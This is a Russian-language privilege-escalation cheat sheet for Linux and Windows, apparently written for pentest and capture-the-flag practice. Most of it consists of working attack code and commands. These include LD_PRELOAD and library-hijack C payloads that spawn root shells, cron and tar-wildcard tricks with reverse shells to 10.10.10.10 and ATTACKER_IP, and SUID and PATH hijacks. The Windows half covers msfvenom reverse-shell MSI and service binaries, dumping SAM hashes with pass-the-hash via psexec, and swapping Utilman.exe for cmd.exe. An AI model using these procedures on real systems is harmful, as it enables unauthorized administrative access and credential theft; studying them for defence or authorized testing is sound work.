Перейти к содержанию

Эскалация привилегий

Privilige escalation - Privesc - повышение привилегий - одно из основных действий kill chain, результатом которого является получение административного доступа к системе.

Суть состоит в том, что используются имеющиеся изъяны в ОС или ПО способные предоставить неавторизованный доступ к таким ресурсам, на которые обыкновенный пользователь не имеет прав.

Существует два сценария повышения привилегий - горизонтальное и вертикальное. Понятно, что вертикальное подразумевает переход от доступа с обычными привилегиями к доступу с большими. Горизонтальный - от отдного простого пользователя к другому, в надежде, что у него есть sudo на какой нибудь бинарник.

Эскалация привилегий в Linux

Некоторые способы горизонтального повышения привилегий будут описаны ниже. Перед этим, следует обозначить команды и файлы которые могут быть полезны на этапе сбора информации о возможных путях эскалации привилегий:

Команда/файл Описание предоставляемой информации
hostname наименование машины может косвенно сообщить о том, какой сервис на ней крутится
uname -a получение информации о системе даст сведения о версии ядра, для поиска kernel уязвимостей
/proc/version сведения о версии ядра, для поиска kernel уязвимостей
/etc/issue сведения о версии ОС, для поиска уязвимостей ОС
ps получение информации о запущенных сервисах, для поиска уязвимостей
env в переменных окружения может хранится полезная информация
sudo -l всегда полезно знать о том, что можно запускать через sudo
ls -ahl для поиска скрытых файлов
id [$username] получение информации как о текущем так и о другом пользователе системы
/etc/passwd кратчайший путь для получения логинов всех пользователей
history крайне полезно изучать историю. Особенно чужую)
ifconfig или ip a sh сведения о сетевых адаптерах. Вдруг придется сканить локалку с текущей машины?
netstat или lsof -n -i46 сведения об открытых сетевых подключениях, сокетах/файлов никогда не будут лишними
find в случае если просто нужен flag.txt )

Далее, способы повышения привилегий.

Некорректный доступ к /etc/shadow

По умолчанию только root пользователь имеет read/write права к /etc/shadow. Предоставление подобных прав иным пользователям чревато тем, что они могут:

  1. Если есть права на чтение, то прогнать хэш root пользователя через JohnTheRipper или условный hashes.com и ему подобные ресурсы;
  2. Если есть права на запись, то отредактировать /etc/shadow вставив туда хэш нового пароля: 
    openssl passwd -1 -salt [salt] [password]
    или 
    mkpasswd -m sha-512 password [salt]

Некорректный доступ к /etc/passwd

По умолчанию только root пользователь имеет read/write права к /etc/passwd. Предоставление подобных прав иным пользователям чревато тем, что они могут:

Если есть права на запись - отредактировать /etc/passwd вставив туда хэш нового пароля: 

openssl passwd -1 -salt [salt] [password]
или 
mkpasswd -m sha-512 password [salt]

Некорректная раздача sudo прав

Имея sudo на некоторые бинарники, расширить доступ до root не составит труда. Список таких уязвимых бинарников можно найти на GTFObins

Их уязвимость заключается в том, что для корректной работы им нужны SUID права. Неверная конфигурация, читай выдача sudo, на выполнение таких бинарников администратором системы - чревата получением root неавторизованным пользователем.

sudo права и переменные окружения

Некоторые программы запускаемые через sudo не имеют явной возможности вызвать шелл, в таких случаях, может быть использован следующий вариант.

sudo может быть сконфигурированно таким образом, что при его использовании будут наследоваться определенные переменные окружения. В контексте эскалации привилегий интересны 2 такие переменные: LD_PRELOAD и LD_LIBRARY_PATH.

  • LD_PRELOAD - определяет общие библиотеки/бинарники (shared objects) которые будут загружены до запуска любой вызванной программы.

  • LD_LIBRARY_PATH - определяет директории где изначально будут искаться shared objects

Далее практический пример реализации эскалации прав при наличии вышеуказанных переменных в контексте sudo:

Используя LD_PRELOAD

Предположим, что выданные права sudo сохраняют вышеуказанные пользовательские переменные окружения:

Создается и компилируется shared object preload.c:

preload.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>

    void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }


gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

Загрузив в LD_PRELOAD вышеуказанный бинарник, запускается программа к которой имеется доступ через sudo: 

sudo LD_PRELOAD=/tmp/preload.so program-name-here

Получаем root шелл.

Используя LD_LIBRARY_PATH

Имеется бинарник разрешенный к запуску через sudo, но не имеющий явного вызова шелл. К примеру apache2.

Узнав какие библиотеки использует вышеуказанный бинарник, создаем и компилируем shared object с именем одного из бинарников:

library_path.c
    #include <stdio.h>
    #include <stdlib.h>

    static void hijack() __attribute__((constructor));

    void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
    }


gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/library_path.c
Загрузив в LD_LIBRARY_PATH путь к нужному файлу, запускаем апач:

sudo LD_LIBRARY_PATH=/tmp apache2

Получаем root шелл.

Некорректная конфигурация cronjobs

Задачи из cronjobs, если они были сконфигурированы неверно, могут быть использованы для вызова неразрешенных бинарников из под root пользователя:

  1. В /etc/ctontab есть задача выполняемая из под root

Изменив содержание overwrite.sh, можно вызвать shell с suid правами:

overwrite.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
либо открыть reverse shell: 
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
либо, все, что угодно, в зависимости от необходимости.

cronjobs и tar *

Отдельный разговор про использование заданий с архиваторами которые запускаются с wildcard масками. К примеру у tar есть ключи (--checkpoint, --checkpoint-action) которые позволяют запустить произвольный бинарник, а так как наличие wildcard маски в скрипте, заставит его выполнить операцию над всеми файлами в указанном каталоге, эксплуатировать уязвимость не составит труда:

Предположим, что в crontab tar вызывается из домашней директории следующим образом: 

cd ~
tar czf /tmp/backup.tar.gz *
тогда для запуска payload:

cоздадим payload local_sh.sh который запустит сеанс sh на локальном порту 4444:

local_sh.sh
#Находясь в директории файлы из которой обрабатывает tar
echo -e '#!/bin/sh\n/bin/sh -i >& /dev/tcp/127.0.0.1/4444 0>&1' > local_sh.sh
chmod +x local_sh.sh
или
fifo_shell.sh
#Находясь в директории файлы из которой обрабатывает tar
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f" > fifo_shell.sh
chmod +x fifo_shell.sh

создадим файлы которые tar обработает как ключи в команде:

#Находясь в директории файлы из которой обрабатывает tar
touch "./--checkpoint=1"
touch "~/--checkpoint-action=exec=sh local_sh.sh[fifo_shell.sh]"

останется запустить nc -lvnp 4444 и ждать выполнения задачи, а с ней и открытия root shell

Подробное объяснение такой атаки здесь

Некорректная раздача SUID SGID прав.

Оказавшись на целевой машине, хорошим делом будет поискать в системе бинарники с SUID, SGID правами (пример для Debian based машин): 

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
далее, возможны следующие шаги:

  1. пользуясь GTFOBins получить информацию о том как эскалировать привилегии у таких бинарников;

  2. гуглить или искать на Exploit-DB известные уязвимости по типу Local (Local Privilege Escalation);

  3. если бинарник с SUID/GUID правами использует в своей работе shared objects которые принадлежат локальному пользователю, можно подменить такие библиотеки на payload который выполнит нужное действие. Найти используемые библиотеки бинарника можно через strace. Подходящий (имеющий rw права) объект можно подменить, к примеру, на такой код:

    payload.c
    #include <stdio.h>
#include <stdlib.h>
static void inject() attribute((constructor));
void inject() {
    setuid(0);
    system("/bin/bash -p");
}
    далее код компилируется и помещается в директорию с shared object-ом: 
    gcc -shared -fPIC -o /path/to/shared/lib/shared_lib.so ~/payload.c
    после чего запускаем бинарник -> получаем root shell

  4. Если бинарник с SUID/GUID использует в своей работе вызовы других приложений к которым указаны не абсолютные пути, можно подменить такие приложения на нужный payload. Использование strings может быть полезно для получения информации о вызовах сторонних приложений:
    в процессе работы, бинарник с SUID правами suid-env вызывает некий service. Он вызывается без абсолютного пути, следовательно его можно подменить:

    service.c
    int main() {
    setuid(0);
    system("/bin/bash -p");
}
    компилируем: 
    gcc -o service ~/service.c
    Добавляем в PATH текущий путь и открываем бинарник: 
    PATH=.:$PATH /usr/local/bin/suid-env

Capabilities

Отдельно следует упомянуть capabilities - возможность более гранулярной раздачи прав на файлы в отличии от привычной модели основанной на привилегированном/непривилегированном пользователе.

В части касающейся эскалации привилегий, будут интересны те бинарники у которых выставлен capability флаг CAP_SETUID который представляет из себя фактически SUID бит, однако не отображается как таковой через тот же ls.

Для поиска бинарников с установленными capabilities флагами можно воспользоваться следующей командой:

Поиск бинарников с capability флагами
getcap -r / 2> /dev/null

далее, по аналогии с SUID/SGID - идём на GTFOBins, а дальше понятно.

Исследование history, config и прочих файлов.

Исследований истории введенных команд и различных конфигурационных файлов может быть полезно, порой там можно найти ценную информацию включая credentials.

Также имеют место быть случаи, когда беспечные пользователи могут сбэкапить private keys в директории с некорреткными правами, следовательно полезно поискать файлы ключей в системе, например так: 

find /.ssh -type f -exec grep -q PRIVATE '{}' \; -print  2>/dev/null

NFS и no_root_squash

В NFS шарах по умолчанию у файлов которые загружают пользователи из под root, автоматически меняется владелец на nfsnobody. Однако, если nfs шара установлена директива no_root_squash - такого не происходит.

Настройки NFS, в том числе установленные директивы, доступны всем пользователями в файле /etc/exports

Можно на своей машине создать payload в msfvenom или просто скопировать /bin/sh на который установить SUID права (chmod +xs), а потом залить его на шару, однако такой метод не всегда будет работать из-за возможного несоответсвия библиотек на машинах.

Считаю, что оптимальным вариантом является использование бинарника который запускает shell. :

s_bash.c
/* находимся в шаре с директивой no_root_squash 
под root*/
int main()
{
    setuid(0);
    setgid(0);
    system(/bin/bash);
    return 0;
}

# находимся в шаре с директивой no_root_squash
# под root
gcc s_bash.c -o suid-bash -w
chmod +s suid-bash

Kernel Exploits

Есть смысл проверить существуют ли известные уязвимости для текущей версии ядра. Это можно сделать как в ручную, через uname -r с дальнейшим гуглением или поиском на exploit-DB, так и через удобный скрипт на perl - Linux-exploit-suggester2

Если система запущена на древнем ядре, есть шанс на получение root shell, через какой-нибудь условный Dirty COW эксплойт

Помни!

Перед запуском kernel exploit убедись в том, что ты понимаешь то как работает эксплойт и что он делает. Некоторые эксплойты могут нанести непоправимый вред системе!!!
Если для CTF это не сильно важно, то при работе в продакшне нужно быть четырежды внимательным и не запускать абы что.

Скрипты для поиска возможностей Privesc

Дабы не искать вручную все перечисленные возможности эскалации прав, имеются популярные скрипты которые автоматизируют поиск и выводят подбробный отчёт о потенциальных возможностях эскалации прав:

Эскалация привилегий в Windows

Сбор сведений среди хранимой информации

В процессе работы, сведения, включая логины/пароли и прочие полезные данные, могут сохранятся в конфигурационных файлах, реестре, файлах с историей ввода команд.

Конфигурация автоматической установки Windows

В процессе массового развертывания образа ОС на различных машинах через Windows Deployment Server, могут быть найдены конфигурационные файлы содержащие в себе логины/пароли учетных записей с административными правами:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

История Powershell

Не менее полезным является изучение истории ввода Powershell:

CMD
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
Powershell
cat $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`

Сохранённые логины/пароли

Windows позволяет использовать и сохранять логины/пароли различных пользователей. Утилита cmdkey /list отобразит такие сведения. Не смотря на то, что пароли увидеть таким образом, понятно дело, нельзя, можно попробовать запустисть что-нибудь с сохранёнными логинами/паролями: 

runas /savecred /user:admin cmd.exe

Конфигурация IIS

Microsoft IIS Server сохраняет конфигурационые сведения в файлах web.config. Там могут быть сведения о БД, паролях, механизмах и способах подключения/авторизации. Для быстрого поиска информации можно использовать findstr: 

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString

Получение информации из стороннего ПО.

Интересная информация может содержаться в файлах конфигураций и записях реестра различного ПО. На примере, putty, получим сведения о сессии "Proxy":

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Scheduler и уязвимые задачи

Планировщик задач может содержать в себе неверно сконфигурированные задачи, которые могут быть использованы для получения привилегированного доступа к системе. Такие задачи обычно позволяют заменить вызываемый ими бинарник.

Для получения информации об информации по конкретной задаче vuln_task можно воспользоваться утилитой schtasks:

schtask /query /tn /vulnerable_task /fo list /v
Поле Task to run будет содержать в себе непосредственно запускаемый файл и в случае если есть возможность write прав на него, его можно подменить.

Для получения информации о правах используется icacls

Представим, что задача вызывает некий батник (C:\tasks\schtask.bat), на редактирование которого у нас имеются права. Тогда:

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
останется только стартануть listener и ждать запуска выполнения задачи. Получим reverse shell с правами создателя задачи.

AlwaysInstallElevated

msi пакеты в Windows, как правило запускаются с правами того пользователя который их запустил. Однако, имеется возможность запускать любой msi пакет любым пользователем с административными правами. Для этого, должны быть определены 2 значения в реестре: 

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
В таком случае, можно сгенерировать фальшивый msi пакет который фактически будет содержать в себе все, что угодно, например reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
останется только стартануть listener и ждать запуска инсталлера:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Получим reverse shell с административными правами.

Ошибки конфигурации сервисов

Так как каждый сервис связан с конкретным исполняемым файлом, возможность подмены исполняемого файла приведет к тому, что сервис запустит его из под своих прав.

Обрати внимание!

Не каждый бинарник может быть запущен в качестве сервиса. Подходящий должен иметь реализацию функций взаимодействия с Service Control Manager (SCM) - процесса который управляет сервисами Windows.

Сведения о конкретном сервисе можно получить с помощью GUI приложения services.msc, CLI к SCM sc.exe, записей в ветке реестра HKLM\SYSTEM\CurrentControlSet\Services.

Небезопасные права на исполняемые файлы сервисов

Предположим, что бинарник уязвимого сервиса доступен для редактирования:

Получаем сведения о сервисе Vuln_service
C:\> sc qc Vuln_service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Vuln_service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\Vuln_service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Test vulnerable Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\Dummy

Получаем ACL исполняемого сервиса Vuln_service
C:\Users\unpriv_user>icacls C:\PROGRA~2\SYSTEM~1\Vuln_service.exe  
C:\PROGRA~2\SYSTEM~1\Vuln_service.exe Everyone:(I)(M)  
                                      NT AUTHORITY\SYSTEM:(I)(F)  
                                      BUILTIN\Administrators:(I)(F)  
                                      BUILTIN\Users:(I)(RX)  
Successfully processed 1 files; Failed processing 0 files
Everyone:(I)(M) - modify, значит с ним можно делать всё что угодно.

С помощью msfvenom упакуем tcp reverse shell в исполняемый файл с возможностью запуска в качестве сервиса:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9901 -f exe-service -o rev_shell.exe

Далее передадим его на машину с Windows, подменим им нужный бинарь, зададим права, запустим listener:

# На машине атакующего
python3 -m http.server 8000
nc -lvтp 9901
# На машине с Windows
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev_shell.exe
# Подмена и назначение прав
cd C:\PROGRA~2\SYSTEM~1\
move Vuln_service.exe  Vuln_service.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe Vuln_service.exe
icacls Vuln_service.exe /grant Everyone:F
Останется перезапустить службу и поймать соединение: 
sc stop Vuln_service
sc start Vuln_service

PATH без кавычек

Другим случаем возможной эскалации привилегий является сервис/задание который сконфигурирован таким образом, что абсолютный путь до исполняемого файла задан без кавычек. Это позволяет создать запустить произвольный бинарник в случае если его имя и путь до него, является частью пути до исполняемого файла уязвимого сервиса. Например:

C:\> sc qc "Vuln service_2"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Vuln service_2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : D:\Distr\Vuln Software Enterprise\bin\vuln_service2.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Vuln service with unquotted path
        DEPENDENCIES       :
        SERVICE_START_NAME : .\Dummy
Видно, что путь до бинарника задан без кавычек, в таком случае SCM рассматривает пробелы в качестве разделителей между командной и её аргументами. Исходя из имеющегося BINARY_PATH_NAME, SCM будет пытаться запустить исполняемый файл в следующей последовательности:

№ попытки Команда Аргумент 1 Аргумент 2
1 D:\Distr\Vuln.exe Software Enterprise\bin\vuln_service2.exe
2 D:\Distr\Vuln Software.exe Enterprise\bin\vuln_service2.exe
3 D:\Distr\Vuln Software Enterprise\bin\vuln_service2.exe

Как видно из таблицы, корректный запуск произойдет лишь с третьей попытки. Следовательно, если создать исполняемый файл "по пути следования", он будет запущен с правами запускаюшего его сервиса.

К сведению!

Однако, как можно догадаться, это применимо лишь к тем исполняемым файлам, которые не размещены в C:\Program Files или C:\Program Files (86), так как к этим директориям у не привилегированных пользователей нет прав на модификацию или запись.

В случае из примера, исполняемый файл сервиса размещен в иной директории. Следовательно, по аналогии с примером из предыдущего раздела: убеждаемся, что имеем права на создание файлов в D:\Distr, создаем и упаковывем в exe-service tcp-reverse-shell под именем Vuln.exe, отправляем на машину, назначаем права, перезапускаем службу, профит!

Небезопасные права сервисов

Еще одним возможным способом эскалации привилегий через сервисы Windows является изменение параметров самого сервиса.

Операции над сервисами ограничены DACL (Distrectionaly Access Control List) и в случае если в этом DACL указана возможность редактирования параметров сервиса, эскалировать привилегии не составит труда.

DACL конкретного сервиса можно посмотреть через Accesschk:

Просмотр DACL сервиса
C:\tools\AccessChk> accesschk64.exe -qlc vulnservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

из примера видно, что локальным пользователям предоставлены полные права на редактирование сервиса. В таком случае можно создать payload с tcp-reverse-shell и запаковать его в exe с возможностью запуска в качестве сервиса:

# На машине атакующего
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9001 -f exe-service -o rev-shell.exe
После передачи бинарника на машину, нужно выдать ему права, изменить парамерты сервиса заменив в нем исполняемый файл и учётку для запуска, перезапустить сервис и поймать shell:

# Назначаем права
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

# Изменяем исполяемый файл сервиса. Назначаем запуск сервиса от имени LocalSystem
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

# Перезапускаем службу
C:\> sc stop THMService
C:\> sc start THMService

Злоупотребление опасными привилегиями

Как известно, каждый пользователь системы наделён определенными привилегиями для работы в ОС. Посмотреть список таких привилений можно через 

whoami /priv
Привилегии выдаются на различные действия с системой, будь то разрешение на выключение хоста или создание ярлыков и т.д. и т.п. Полный список таких привилегий можно найти на learn.microsoft.com

В контексте эскалации привилегий интересна лишь часть из всех. Исчерпывающий список можно найти в проекте Priv2Admin.

SeBackup/SeRestore

Указанные в подзаголовке привилегии на самом деле очень опасны. Необходимы они для безпрепятсвенного выполнения бэкапов и позволяют пользователям наделенными этими правами читать и записывать файлы в обход любых ACL. Необходимость создания таких привилегий заключалась в удобной работе с архивированием данных, именно поэтому указанными привилегиями наделены пользователи входящие в группу Backup Operators.

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Как видно из примера выше, активная учётка имеет права привелегии SeBackupPrivilege и SeRestorePrivilege

К сведению

В представленном выводе нет необходимости обращать внимания на поле state, главное чтобы привилегии были перечисленны в поле Privilege Name

В виду того, что обладание рассматриваемыми привилегиями позволяет миновать любые ограничения на доступ к файлам, открывается возможность экспортировать хэши паролей хранящиеся в SAM:

# Сбэкапим SYSTEM куст
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

# Сбэкапим SAM куст
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

Далее, передав полученные сведения на машину атакующего, используя secretsdump из проекта Impacet:

# С машины атакующего
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d28ec0df8b78ce63bcefe6e2b834
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:bbe4c546c62515ffbbe4c546c62515ff:24b15dedg4e8fd52375f679238d6db85:::

Используя pass-the-hash атаку получим доступ к системе с привилегиями NT AUTHORITY\SYSTEM. Снова воспользуемся инструментами из Impacet:

# С машины атакующего
python3.9 /opt/impacket/examples/psexec.py -hashes bbe4c546c62515ffbbe4c546c62515ff:24b15dedg4e8fd52375f679238d6db85 administrator@TARGET_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

SeTakeOwnership

Рассматриваемая привилегия предоставляет пользователю возможность становится владельцем любого объекта в системе, включая файлы, ключи реестра и т.п.

Разберем следующий случай: находим сервис работающий под правами NT AUTHORITY\SYSTEM, становимся владельцем исполняемого файла этого сервиса, назначаем себе как владельцу права на этот исполняемый файл и подменяем его. Далее, в качестве примера, вышеописанные действия проведём в отношении сервиса "Специальные возможности", который предоставляет доступ к различным утилитам (экранный диктор, вирутальная клавиатура, экранная лупа и т.д.) прямо из экрана заблокированной сессии. Так как указанный сервис выполняется под системной учётной записью, замена его исполняемого файла на cmd.exe приведет к запуску командной строки Windows с системными правами:

# Становимся владельцем исполняемого файла сервиса "Специальные возможности"
C:\> takeown /f C:\Windows\System32\Utilman.exe
# Наделяем правами текущую учетную запись
C:\> icacls C:\Windows\System32\Utilman.exe /grant Dummy_user:F
# Подменяем исполняемый файл сервиса
C:\Windows\System32\> copy cmd.exe utilman.exe

После проделанных действий вызов "Специальных возможностей" приведет к открытию cmd с правами NT AUTHORITY\SYSTEM

Скрипты для поиска возможностей Privesc

Дабы не искать вручную все перечисленные возможности эскалации прав, имеются популярные скрипты которые автоматизируют поиск и выводят подбробный отчёт о потенциальных возможностях эскалации прав:

Дополнительные полезные ресурсы на тему privesc: netbiosx

PayloadsAllTheThings

Total-oscp-guide

Guide-linux-privilege-escalation